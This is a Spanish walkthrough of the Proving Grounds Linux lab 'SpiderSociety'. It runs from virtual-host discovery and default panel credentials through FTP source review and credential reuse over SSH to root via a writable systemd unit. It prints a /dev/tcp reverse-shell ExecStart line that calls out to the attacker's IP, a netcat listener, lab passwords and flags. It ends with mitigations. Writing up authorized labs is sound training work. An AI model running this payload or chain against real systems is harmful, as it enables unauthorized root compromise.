Saltar al contenido
JN
Writeup Proving Grounds Media

SpiderSociety — Proving Grounds

Un walkthrough de Proving Grounds sobre una máquina Linux que cubre el descubrimiento de un virtual host, credenciales predeterminadas en un panel de control, acceso FTP al código fuente de la aplicación, un archivo de entorno oculto que expone credenciales reutilizables, acceso SSH como spidey y escalada de privilegios mediante un servicio systemd modificable con permisos limitados de systemctl sin contraseña.

Plataforma
Proving Grounds
Dificultad
Media
Fecha
  • proving-grounds
  • linux
  • apache
  • vsftpd
  • virtual-host
  • default-credentials
  • ftp
  • source-code-review
  • credential-reuse
  • ssh
  • systemd
  • privilege-escalation

Descripción general

SpiderSociety es una máquina Linux de Proving Grounds.

La cadena exitosa combinó el descubrimiento de un virtual host a partir del contenido del sitio, un panel de control protegido por credenciales predeterminadas, credenciales FTP de respaldo reveladas tras la autenticación, acceso FTP al código fuente de la aplicación, un archivo de entorno oculto que exponía credenciales para spidey, reutilización de credenciales sobre SSH, un servicio systemd modificable, systemctl daemon-reload y reinicio del servicio sin contraseña, y una reverse shell como root.

Este walkthrough independiente documenta un laboratorio autorizado y no está afiliado ni respaldado por OffSec.

Resumen de la ruta de ataque

Nmap identificó los servicios SSH, HTTP y FTP. El contenido del sitio descubrió el virtual host spidersociety.offsec.lab, donde /libspider/ exponía un panel de control protegido por credenciales predeterminadas. El acceso autenticado reveló una cuenta FTP de respaldo. El servicio FTP daba acceso al código fuente de la aplicación, que a su vez contenía un archivo de entorno oculto con credenciales para spidey. La misma contraseña fue aceptada por SSH. La enumeración local identificó entonces una unidad de systemd modificable, combinada con permisos de recarga y reinicio de systemctl sin contraseña, produciendo una reverse shell como root.

Enumeración

Comencé con un escaneo TCP SYN predeterminado del top 1000 de 192.168.135.214. No fue un escaneo de todos los puertos, pero identificó los puertos abiertos 22, 80 y 2121:

sudo nmap -sS -T4 192.168.135.214

Con los puertos abiertos identificados, ejecuté un escaneo dirigido de servicios y scripts sobre ellos:

sudo nmap -sS -sC -sV -O -T4 -p 22,80,2121 192.168.135.214 -oN nmap-tcp.txt

La salida relevante del escaneo fue:

  • 22: OpenSSH 9.6p1 Ubuntu 3ubuntu13.9
  • 80: Apache 2.4.58 on Ubuntu
  • 2121: vsftpd 3.0.5
Salida del escaneo dirigido de Nmap que lista los servicios SSH, HTTP y FTP en SpiderSociety.
El escaneo dirigido identificó SSH, HTTP y FTP como las principales superficies de ataque.

La detección de sistema operativo no fue fiable y no se estableció una huella exacta del SO.

También ejecuté un escaneo UDP del top 20:

sudo nmap -sU --top-ports 20 192.168.135.214 -oN nmap-udp-top.txt --open

Todos los resultados UDP devueltos fueron open|filtered, por lo que no se confirmó ningún servicio UDP abierto.

Descubrimiento del virtual host

El sitio en el puerto 80 presentaba la página de aterrizaje de Spider Society. WhatWeb identificó Apache 2.4.58 en Ubuntu. El fuzzing de archivos y directorios contra la IP directa no reveló ninguna ruta útil de la aplicación, pero el contenido de la página expuso dos direcciones de contacto:

  • contact@spidersociety.offsec.lab
  • contact@spidersociety.org

La dirección de contacto exponía el hostname de estilo interno spidersociety.offsec.lab. Ambos dominios, offsec.lab y spidersociety.offsec.lab, se agregaron para resolución local y se enumeraron por separado. La búsqueda posterior descubrió /libspider/, accesible desde ambos hosts: http://offsec.lab/libspider/ y http://spidersociety.offsec.lab/libspider/.

Salida de Feroxbuster identificando el directorio /libspider/ en offsec.lab.
La enumeración de offsec.lab reveló la ruta del panel de control en /libspider/.

Acceso al panel de control de Spider Society

/libspider/ exponía el acceso al Spider Society Control Panel.

Página de acceso al panel de control de Spider Society en la ruta /libspider/.
El panel de acceso fue descubierto mediante la enumeración del virtual host.

Las pruebas de SQL injection contra el formulario no tuvieron éxito, pero el panel aceptó las credenciales predeterminadas admin:admin.

El acceso autenticado exponía funcionalidad de administración, y el panel reveló credenciales para una cuenta FTP de respaldo.

Revelación desde el panel de control autenticado de las credenciales FTP de respaldo de ss_ftpbckuser en la vista de Communications.
El panel autenticado expuso las credenciales FTP utilizadas para acceder a los archivos del sitio.

Recuperación de la cuenta FTP de respaldo

La autenticación anónima en FTP falló. El panel autenticado reveló las siguientes credenciales FTP de respaldo:

Username: ss_ftpbckuser
Password: ss_WeLoveSpiderSociety_From_Tech_Dept5937!

Estas credenciales se autenticaron con éxito en el servicio FTP del puerto 2121. El directorio FTP parecía reflejar el contenido del sitio y de su aplicación /libspider/. La evidencia solo confirmó acceso de lectura; no se probó capacidad de escritura.

Listado FTP que muestra los archivos del sitio y el directorio de la aplicación /libspider/.
Listado FTP de los archivos del sitio accesibles mediante la cuenta de respaldo.

Revisión del código fuente de la aplicación

FTP exponía archivos asociados al sitio y a /libspider/, incluyendo control-panel.php, fetch-credentials.php, index.php, login.php, logout.php y users.php. El hallazgo clave estaba en fetch-credentials.php, que construía una ruta usando __DIR__ más un nombre de archivo oculto:

/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv

La revisión del código reveló esta ubicación. Otros archivos fueron revisados pero no contribuyeron a la ruta exitosa.

Extracto de fetch-credentials.php que muestra la ruta del archivo oculto de credenciales construida con __DIR__.
La revisión del código reveló la ruta de un archivo oculto de credenciales con formato de entorno.

Extracción de las credenciales ocultas

Solicitar la ruta oculta expuso directamente los datos de entorno en formato clave/valor:

FTP_BACKUP_USER=ss_ftpbckuser
FTP_BACKUP_PASS=ss_WeLoveSpiderSociety_From_Tech_Dept5937!

DB_CONNECT_USER=spidey
DB_CONNECT_PASS=WithGreatPowerComesGreatSecurity99!

El archivo oculto contenía las credenciales FTP y, además, un segundo par asociado a DB_CONNECT_USER=spidey. Probé la contraseña de spidey contra SSH y fue aceptada.

Archivo de entorno oculto que expone tanto las credenciales FTP de respaldo como la credencial de conexión a base de datos de spidey.
El archivo oculto expuso tanto las credenciales FTP como la credencial reutilizable de spidey.

Obtención de acceso inicial mediante SSH

La contraseña WithGreatPowerComesGreatSecurity99!, almacenada junto a DB_CONNECT_USER=spidey, proporcionó acceso por SSH como spidey. El prompt de la shell confirmó el usuario spidey en el host spidersociety.

Enumeración local

LinPEAS fue ejecutado y se revisó sudo -l. /etc/systemd/system/spiderbackup.service era modificable por spidey. La configuración de sudoers permitía lo siguiente:

(ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) !/bin/bash, !/bin/sh, !/bin/su, !/usr/bin/sudo

Las restricciones explícitas de shell no impidieron la escalada. La condición crítica fue la combinación de tres factores: una unidad de systemd modificable, el daemon-reload sin contraseña y el reinicio de ese servicio sin contraseña.

Acceso inicial mediante SSH como spidey con la salida de sudo -l mostrando permisos sin contraseña sobre systemctl.
La credencial reutilizada permitió acceso mediante SSH, mientras que la enumeración local reveló una unidad de systemd modificable y permisos limitados de systemctl sin contraseña.

Abuso del servicio systemd modificable

La técnica seguía el patrón de edición de unidades de systemd documentado por GTFOBins. El servicio fue sobrescrito con un ExecStart de reverse shell:

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.155/4444 0>&1'
[Install]
WantedBy=multi-user.target

Con un listener ejecutándose en el host del atacante:

rlwrap nc -nvlp 4444

Recargué systemd y reinicié el servicio objetivo:

sudo /bin/systemctl daemon-reload
sudo /bin/systemctl restart spiderbackup.service

El daemon-reload hizo que systemd leyera la unidad modificada, y el reinicio ejecutó el ExecStart malicioso. El objetivo conectó de vuelta a 192.168.45.155:4444, y el prompt resultante confirmó una shell de root.

La salida final de prueba fue:

cat /home/spidey/local.txt
9a5f2fbf74cc523c65d9d8a2ac230dbf

cat /root/proof.txt
f7e5ec45bf142e220393b73586840b56
Evidencia que muestra la unidad de systemd modificada, los comandos de recarga y reinicio de systemctl, la reverse shell como root y el flag de prueba.
Tras recargar y reiniciar la unidad modificada, la reverse shell se ejecutó como root y dio acceso a ambos archivos de prueba.

Causa raíz

Acceso inicial

  • Un virtual host con nombre interno podía descubrirse desde el contenido público del sitio y exponía un panel de administración.
  • El panel aceptaba credenciales predeterminadas y, después de la autenticación, revelaba una cuenta FTP de respaldo.
  • El acceso FTP exponía el código fuente de la aplicación, y fetch-credentials.php revelaba la ruta de un archivo de entorno oculto accesible desde la web.
  • El archivo oculto exponía credenciales reutilizables para spidey, y la misma contraseña era aceptada por SSH.

Escalada de privilegios

  • spidey podía modificar la unidad spiderbackup.service, ejecutada como root.
  • Los permisos sudo sin contraseña permitían ejecutar systemctl daemon-reload y reiniciar ese servicio específico.
  • El ExecStart malicioso se ejecutaba como root y devolvía una reverse shell.

Mitigaciones

  • Eliminar las credenciales predeterminadas del panel de control, exigir contraseñas únicas y robustas con MFA, y restringir el panel a redes de administración confiables.
  • Evitar almacenar o exponer credenciales en interfaces de la aplicación, archivos versionados o código PHP; recuperar secretos en tiempo de ejecución desde un vault o una configuración restringida fuera del web root.
  • Mantener los archivos de entorno fuera del document root, restringir el acceso FTP y al código fuente según el principio de mínimo privilegio, y auditar el web root en busca de archivos ocultos expuestos.
  • Impedir que usuarios sin privilegios modifiquen unidades de systemd y limitar estrictamente los permisos sudo sobre systemctl a operaciones seguras que no puedan ejecutar contenido controlado por un atacante.

Aprendizajes

  • El contenido del sitio, como las direcciones de correo, puede revelar nombres de virtual hosts que vale la pena enumerar.
  • La autenticación exitosa en un servicio puede exponer directamente credenciales para otro.
  • El acceso al código fuente puede revelar rutas de configuración ocultas aunque no contenga contraseñas de forma directa.
  • Una contraseña almacenada para un servicio puede reutilizarse en otro y ser aceptada por SSH.
  • Una unidad de systemd modificable, combinada con permisos limitados de systemctl sin contraseña, puede seguir proporcionando una ruta directa a root.